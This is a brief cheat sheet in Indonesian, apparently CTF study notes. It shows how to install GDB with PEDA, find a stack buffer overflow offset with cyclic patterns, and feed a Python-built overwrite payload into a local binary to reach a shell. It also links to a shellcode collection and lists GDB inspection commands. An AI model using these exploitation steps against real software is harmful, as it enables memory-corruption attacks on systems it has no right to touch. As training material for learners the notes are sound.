Install GDB¶
sudo apt install gdb
git clone https://github.com/longld/peda.git ~/peda
untuk permanen gdb peda tiap run gdb :
echo "source ~/peda/peda.py" >> ~/.gdbinit
tapi jika tidak ingin permanen :
gdb
source ~/peda/peda.py
mencari buffer (jika) :¶
jalankan gdb peda
gdb
source ~/peda/peda.py
pattern create 100
misal didapat pattern :
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
lalu run program :
run
jika diminta input :
masukkan input blablabla : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
pokoknya sampai segmentation fault
cek offset :
pattern offset <memory-offset>
misal didapat offset 52, maka tinggal buat payloadnya
input payload¶
python -c "print 'a'*52+'\xef\xbe\xad\xde'" | ./(elf)
jika berupa running shell
(python -c "print 'a'*52+'\xef\xbe\xad\xde'";cat) | ./(elf)
*jika hex memory membentuk printable alphabet, maka tulis dengan alpahbet saja
web untuk mencari payload shell http://shell-storm.org/shellcode/
input in running gdb¶
(gdb) r <<< $(python -c "print '\xde\xad\xbe\xef'")
(gdb) r <<< $(python -c "print 0xdeadbeef")
*masih kacau (not recommended)
Cheat sheet¶
gdb
set disassembly intel
x main
x win
p main
define hook-stop
info register
x/10i $eip-8
x/36wx $esp
end